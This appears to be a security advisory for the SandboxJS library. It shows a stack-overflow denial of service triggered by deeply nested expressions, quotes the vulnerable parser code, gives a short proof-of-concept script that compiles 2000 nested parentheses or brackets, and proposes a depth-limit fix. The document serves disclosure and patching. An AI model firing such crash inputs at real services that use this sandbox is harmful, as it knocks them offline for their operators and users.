SandboxJS: Stack overflow DoS via deeply nested expressions in recursive descent parser

// src/parser.ts:486-505
} else if (closings[char]) {
  // ...
  if (char === firstOpening) {
    done = true;
    break;
  } else {
    const skip = restOfExp(constants, part.substring(i + 1), [], char);  // line 503
    cache.set(skip.start - 1, skip.end);
    i += skip.length + 1;
  }
}

export function restOfExp(
  constants: IConstants,
  part: CodeString,
  tests?: RegExp[],
  quote?: string,
  firstOpening?: string,
  closingsTests?: RegExp[],
  details: restDetails = {},
): CodeString {

# Install the package
npm install @nyariv/sandboxjs

# Create test file
cat > poc.js << 'EOF'
const { default: Sandbox } = require('@nyariv/sandboxjs');
const s = new Sandbox();

// Trigger via nested parentheses
console.log("Testing nested parentheses...");
try {
  s.compile('('.repeat(2000) + '1' + ')'.repeat(2000));
  console.log("No crash");
} catch(e) {
  console.log(`Crash: ${e.constructor.name}: ${e.message}`);
}

// Trigger via nested array brackets
console.log("Testing nested array brackets...");
try {
  s.compile('a' + '[0]'.repeat(2000));
  console.log("No crash");
} catch(e) {
  console.log(`Crash: ${e.constructor.name}: ${e.message}`);
}
EOF

node poc.js

// src/parser.ts - restOfExp function
const MAX_PARSE_DEPTH = 256;

export function restOfExp(
  constants: IConstants,
  part: CodeString,
  tests?: RegExp[],
  quote?: string,
  firstOpening?: string,
  closingsTests?: RegExp[],
  details: restDetails = {},
  depth: number = 0,          // ADD depth parameter
): CodeString {
  if (depth > MAX_PARSE_DEPTH) {
    throw new ParseError('Expression nesting depth exceeded', part.toString());
  }
  // ... existing code ...

  // At line 503, pass depth + 1:
  const skip = restOfExp(constants, part.substring(i + 1), [], char, undefined, undefined, {}, depth + 1);

  // At line 480 (template literal), also pass depth + 1:
  const skip = restOfExp(constants, part.substring(i + 2), [], '{', undefined, undefined, {}, depth + 1);
}

function lispify(
  constants: IConstants,
  part: CodeString,
  expected?: readonly string[],
  lispTree?: Lisp,
  topLevel = false,
  depth: number = 0,         // ADD depth parameter
): Lisp {
  if (depth > MAX_PARSE_DEPTH) {
    throw new ParseError('Expression nesting depth exceeded', part.toString());
  }
  // ... pass depth + 1 to recursive lispify/lispifyExpr calls ...
}